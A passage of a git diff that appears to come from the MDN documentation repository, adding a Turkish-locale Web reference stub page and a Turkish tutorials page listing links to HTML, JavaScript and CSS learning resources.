+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}</div> diff --git a/files/tr/web/reference/index.html b/files/tr/web/reference/index.html new file mode 100644 index 0000000000..6d1867a6f3 --- /dev/null +++ b/files/tr/web/reference/index.html @@ -0,0 +1,28 @@ +--- +title: Web technology reference +slug: Web/Reference +tags: + - Landing + - NeedsTranslation + - Reference + - TopicStub + - Web +translation_of: Web/Reference +--- +<p>The open Web is built using a number of technologies. Below you'll find links to our reference material for each of them.</p> + +<div class="row topicpage-table"> +<div class="section"> +<h2 class="Documentation" id="Core_Web_technologies">Core Web technologies</h2> + +<p>{{ Page ("Web", "Web technologies") }}</p> +</div> + +<div class="section"> +<p>{{draft()}}</p> + +<p>This page <a href="/en-US/docs/Project:MDN/Plans_and_status/Web_platform">is meant to be</a> the landing page for the "Web Platform Reference"; this would offer links to the landing pages for each of the APIs that comprise the Web platform (but would not itself have subpages).</p> +</div> +</div> + +<p> </p> diff --git a/files/tr/web/tutorials/index.html b/files/tr/web/tutorials/index.html new file mode 100644 index 0000000000..e4a602f9d1 --- /dev/null +++ b/files/tr/web/tutorials/index.html @@ -0,0 +1,155 @@ +--- +title: Tutorials +slug: Web/Tutorials +translation_of: Web/Tutorials +--- +<p>Bu sayfadaki linkler çeşitli örnekler ve dersleri içeren öğrenme materyallerini içerir. İster başlangıç isterse ileri düzeyde olun, burada çok faydalı uygulama ve örnekleri bulacaksınız. Bu çalışma ileri düzey web Programlayıcılar kullanıcılar çeviri yapanların katkılarıyla açık kullanımda olan bir lisansla yani anonim olarak sizlere sunulmuştur</p> + +<div class="row topicpage-table"> +<div class="section"> +<h2 class="Documentation" id="Documentation" name="Documentation">HTML ÖRNEKLERİ</h2> + +<h3 id="Giriş_Düzeyi">Giriş Düzeyi</h3> + +<dl> + <dt><a href="/en-US/docs/Web/Guide/HTML/Introduction">HTML Giriş</a></dt> + <dd>HTML nedir? Ne yapabilir, kısa bir hikaye ve bir HTML dökümanının girişi neye benzer. Makalenin her kısmında bunu daha derinlemesine gözlemleyeceksiniz.</dd> + <dt><a href="http://reference.sitepoint.com/html/page-structure" rel="external">Bir Web Sayfasının Temel Yapısı</a> (SitePoint)</dt> + <dd>HTML elemanlarının herbirinin birlikte nasıl büyük bir resmi oluşturduğunu öğren.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/HTML/Element">MDN HTML Eleman Referansı</a></dt> + <dd>Kapsamlı bir HTML elemanlarının referansı ve farklı tarayıcıların bunu nasıl desteklediği</dd> + <dt><a href="http://wikiversity.org/wiki/Web_Design/HTML_Challenges" rel="external">HTML Yenilikler</a> (Wikiversity)</dt> + <dd>Bu yenilikleri kullanarak HTML becerinizi geliştirin (örneğin, "<h2> elemanını yada <strong> elamanını nasıl kullanacağım? "), derken çok anlamlı noktalara odaklanın</dd> + <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/">CodeAvengers (KodAvcıları)</a> (CodeAvengers.com)</dt> + <dd>Code Avengers eğlencelidir. HTML, CSS ve JavaScript ile Web uygulamaları ve oyun programlamanın çok etkili bir yoludur.</dd> +</dl> + +<h3 id="İleri_Düzey">İleri Düzey</h3> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Tips_for_Authoring_Fast-loading_HTML_Pages">HTML Sayfasının Hızlı Yüklenmesini Sağlamak Hakkında İpuçları</a><br> + Web sayfalarının oldukça esnek kullanıcıyı web serverini ve internet bağlantısını yormayan şekilde optimize edilmesi.<br> + </dt> + <dt><a href="http://www.html5rocks.com/tutorials/" rel="external">HTML5 Örnekleri</a> (HTML5 Yapıtaşları)</dt> + <dd>HTML5 deki yeniliklerinin ne kadar kullanışlı olduğuna yönelik Rehberlik turuna katılın</dd> + <dt><a href="http://www.alistapart.com/articles/semanticsinhtml5/" rel="external">HTML5 Kod Sistematiği</a> (A List Apart)</dt> + <dd>Başlangıç ve bitişteki kodlamalardaki anlamsal içeriği öğrenin</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Canvas_tutorial">Canvas Örnekleri</a></dt> + <dd>Cancas elemanları ve scriplerle nasıl grafik çizebileceğinizi öğrenin.</dd> + <dt><a href="http://html5doctor.com/" rel="external">HTML5 Doktor</a></dt> + <dd>HTML5 in doğru kullanımı hakkında makaleler bulundurur.</dd> + <dt><a href="http://www.elated.com/articles/html5-audio/" rel="external">THTML5 Audio (Ses) Elemanındaki Kolaylık</a> (Özel)</dt> + <dd>Web sayfalarınıza ses dosyalarını kolayc anasıl dahil edebileceğinizi öğrenenin Birçok kodlama örnekleri dersler içinde mevcuttur.</dd> +</dl> + +<h2 class="Documentation" id="Documentation" name="Documentation">Javascript Dersleri</h2> + +<h3 id="Giriş_Düzeyi_2">Giriş Düzeyi</h3> + +<dl> + <dt><a href="http://www.codecademy.com/">Codecademy</a> (Codecademy)</dt> + <dd>Codecademy javascript kodlama ve öğrenmenin en kolay platformudur. Online öğrenilebilir ve arkadaşlarınızla beraber kodlama yapma imkanı sunar.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Getting_Started">JavaScripte Başlarken</a></dt> + <dd>JavaScript nedir ve size nasıl yardımcı olabilir?</dd> + <dt><a href="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices" rel="external">JavaScriptin en iyi pratikleri</a><a href="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices" title="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices"> </a>(WebPlatform.org)</dt> + <dd>Javascript kodlarken açıklarınızı yanlış ve hatalarınızı öğrenebileceğiniz pratik örnekler mevcuttur.</dd> + <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/">CodeAvengers</a> (CodeAvengers.com)</dt> + <dd>Yukarda bahsetmiştik yine bu platform javascript öğrenmede de etkili bir paylaşım alanıdır.</dd> + <dt><a href="http://codecombat.com/#">CodeCombat</a> (codecombat.com)</dt> + <dd>CodeCombat size oyun programlamada JavaScripti nasıl kullanacağınızı öğreten açık kaynak kodlu bir platformdur.</dd> +</dl> + +<h3 id="Orta_Düzey">Orta Düzey</h3> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/A_re-introduction_to_JavaScript">Tekrardan Javascripte Bir Değiniş</a></dt> + <dd>JavaScript programlamayı orta düzey geliştirici olarak kavrayabilmeniz amacını güden açılış kısmı</dd> + <dt><a href="http://eloquentjavascript.net/contents.html" rel="external">Seçkin JavaScript</a></dt> + <dd>Orta ve ileri düzey JavaScript Progranlama Rehberidir.</dd> + <dt><a href="http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/" rel="external">Essential JavaScript Design Patterns</a> (Addy Osmani)</dt> + <dd>Başlıca JavaScript modelleri kurgulamaya giriş</dd> + <dt><a href="http://www.yuiblog.com/blog/2007/01/24/video-crockford-tjpl/" rel="external">JavaScript Programlama Dili</a> (YUI Blog)</dt> + <dd>Bugünkü halini ve ilerde nasıl şekilleneceğini Douglas Crockford tasarlamıştır</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Introduction_to_Object-Oriented_JavaScript">Nesne Tabanlı JavaScript Programlamaya Giriş</a></dt> + <dd>Javascript nesne modellemesini öğren.</dd> +</dl> +</div> + +<div class="section"> +<h3 id="İleri_Düzey_2">İleri Düzey</h3> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide">JavaScript Guide</a></dt> + <dd>her düzey öğrenmeye uygun başlangıçtan ileri düzeye kadar kapsamlı olarak düzenli güncellenen JavaScript rehberi.</dd> + <dt><a href="http://ejohn.org/apps/learn/" rel="external">İleri düzey JavaScript Öğrenme</a> (John Resig)</dt> + <dd>İleri düzey JavaScript hakkında John Resig' ın hazırladığı bir rehber</dd> + <dt><a href="http://www.elated.com/articles/javascript-dom-intro/" rel="external">JavaScript DOM Programlamaya Giriş</a> (Özel)</dt> + <dd>DOM(Document Object Model) nedir ve nasıl kullanılır? Bu makale kısa bir girişle JavaScriptin bu güçlü özelliğini açıklar.</dd> + <dt><a href="http://yuiblog.com/blog/2006/10/20/video-crockford-domtheory/" rel="external">API Hassaiyeti: DOM Teorisi</a> (YUI Blog)</dt> + <dd> Document Object Modellemeyi Douglas Crockford örneklerle açıklar..</dd> + <dt><a href="http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/" rel="external">İleri Düzey JavaScript</a> (YUI Blog)</dt> + <dd>Douglas Crockford programcılardan hangisinin kolamayı tamamladığını ve diğer uygulamaları yazmaya başlayabileceğini belirler.</dd> + <dt><a href="http://bonsaiden.github.com/JavaScript-Garden/" rel="external">JavaScript Bahçesi</a></dt> + <dd>İlginç bölümlerin olduğu bir JavaScript dökümantyasyonu.</dd> + <dt><a href="http://webcache.googleusercontent.com/search?q=cache:CJYRO48hw9EJ:stackoverflow.com/questions/394601/which-javascript-framework-jquery-vs-dojo-vs" rel="external">Hangi JavaScript FrameWork (Yapı-İskelet) Kullanalım?</a> (StackOverflow)</dt> + <dd>Size uygunbir JavaScritp Frameworkunu önerir.</dd> + <dt><a href="http://yuiblog.com/blog/2008/07/22/non-blocking-scripts/" rel="external">JavaScript Downloadsların Engellenmemesi</a> (YUI Blog)</dt> + <dd>JavaScript kodları içeren sayfaların yüklenmesi esnasındaki performansı inceler.</dd> + <dt><a href="http://shichuan.github.io/javascript-patterns" rel="external">Javascipt Şablonları</a></dt> + <dd>fonksiyon şablonları,jQuery şablonları, jQuery eklenti şablonları, dizayn şablonları, genel şablonlar, sabit ve etkin şablonlar, Nesne oluşturma şablonları, yeniden kodlama şablonları ve DOM şablonlarını içeren şablon kolleksiyonudur.</dd> +</dl> + +<h2 class="Documentation" id="Documentation" name="Documentation">CSS Dersleri</h2> + +<h3 id="Giriş_düzeyi">Giriş düzeyi</h3> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started">CSS'ye başlarken</a></dt> + <dd>Bu dersler CSS (Cascading Style Sheets) bir tanıtımıdır . Rehberde basit materyallerle pratik örneklerle CSS' yi kendi bilgisayarınızda nasıl tasarlayacağınıza değinilir.</dd> + <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_Classes" rel="external">CSS Sınıf (Class) Seçiciler</a> (Wikiversity)</dt> + <dd>Css Classlar Nedir?</dd> + <dt><a href="http://en.wikiversity.org/wiki/Web_Design/External_CSS" rel="external">Dışardan Bağlantı Verilen CSS</a> (Wikiversity)</dt> + <dd>CSS'nin dışardan dosya uzantısı verilerek kodlamaya nasıl dahil edileceğini anlatır.</dd> + <dt><a href="http://www.w3.org/MarkUp/Guide/Style" rel="external">CSS'ye Bir Değiniş </a> (W3C)</dt> + <dd>Web sayfalarını CSS ile kodlamayı açıklayan kısa bir rehber.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Common_CSS_Questions">CSS İle İlgili Genel Sorular</a></dt> + <dd>Yeni başlayanlar için birçok soru ve cevaplar.</dd> + <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/">CodeAvengers</a> (CodeAvengers.com)</dt> + <dd>Code Avengers bir eğlencelidir, HTML, CSS, ve JavaScript.kullanarak web uygulamaları ve oyun programlamanın etkili bir yoludur.</dd> + <dt><a href="http://techstream.org/Web-Design/CSS-selectors" title="http://codeavengers.com/">CSS Seçiciler</a> (TechStream.org)</dt> + <dd>Oldukça güzel ve ayrıntılı olarak css seçicicilere bir bakış.</dd> +</dl> + +<h3 id="Orta_Düzey_2">Orta Düzey</h3> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_Reference">CSS Referansı</a></dt> + <dd>Firefox ve diğer tarayıcıların desteklediği kapsamlı CSS referanslarıdır</dd> + <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_challenges" rel="external">CSS Tartışmaları</a> (Wikiversity)</dt> + <dd>CSS becerilerinizi geliştirip nasıl daha çok pratiğe ihtiyaç duyduğunuzu anlayın.</dd> + <dt><a href="http://www.html.net/tutorials/css/" rel="external">Ortadüzey CSS Kavramları</a> (HTML.net)</dt> + <dd>Guruplama ve sınıf kullanımı ve dahası,</dd> + <dt><a href="http://www.alistapart.com/articles/css-positioning-101/" rel="external">CSS Konumlandırma 101</a> (Ayrı Bir Liste)</dt> + <dd>Tablolar ve Şemalarda standart uyum için konumlandırmanın kullanılması</dd> + <dt><a href="http://www.alistapart.com/articles/progressiveenhancementwithcss/" rel="external">CSS ile ileri düzeylere taşıma</a> (Ayrı Bir Liste)</dt> + <dd>Web sayfanızı CSS kodlamayla daha iyi seviyelere getirme</dd> + <dt><a href="http://www.alistapart.com/articles/fluidgrids/" rel="external">Izgara şekli Modelleme</a> (Ayrı Bir Liste)</dt> + <dd>Izgara modellemeyle sayfanızın boyutununh değişmesi halinde esnek şekilde çalışabilmesini sağlamak</dd> +</dl> + +<h3 id="İleri_Düzey_3">İleri Düzey</h3> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transforms">CSS Şekil Değiştiriciler (Transform) </a></dt> + <dd>Sayfa içi elemanların dönme, büyüme, genişleme ve yerdeğişimini CSS ile nasıl sağlanacağını anlatır.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_transitions">CSS Geçiş Efektleri (Transition)</a> </dt> + <dd>CSS Geçiş efekleri bir diğer değişle animasyon CSS3 özelliklerini içeren bir bölümdür. CSS özelliklerindeki animasyon kurgusunu efeklerle nasıl daha etkili kullanacağınızı anlatır.</dd> + <dt><a href="http://www.html5rocks.com/tutorials/webfonts/quick/" rel="external">@font-face komutuyla Web Yazı Tiplerinin Kullanılması Hakkında Basit Bir Rehber</a> (HTML5 Rocks)</dt> + <dd> @font-face size CSS3' ün sağladığı varsayılan yazı tiplerinin kullanımına ulaşılması, değiştirilmesi ve büyültülüp küçüktülebilmesini sağlar.</dd> + <dt><a href="http://davidwalsh.name/starting-css" rel="external">CSS Yazmaya Başlama</a> (David Walsh)</dt> + <dd>Özlü bir şekilde size CSS kodlamayı ve geliştirmeyi anlatır.</dd> +</dl> +</div> +</div> + +<p> </p> |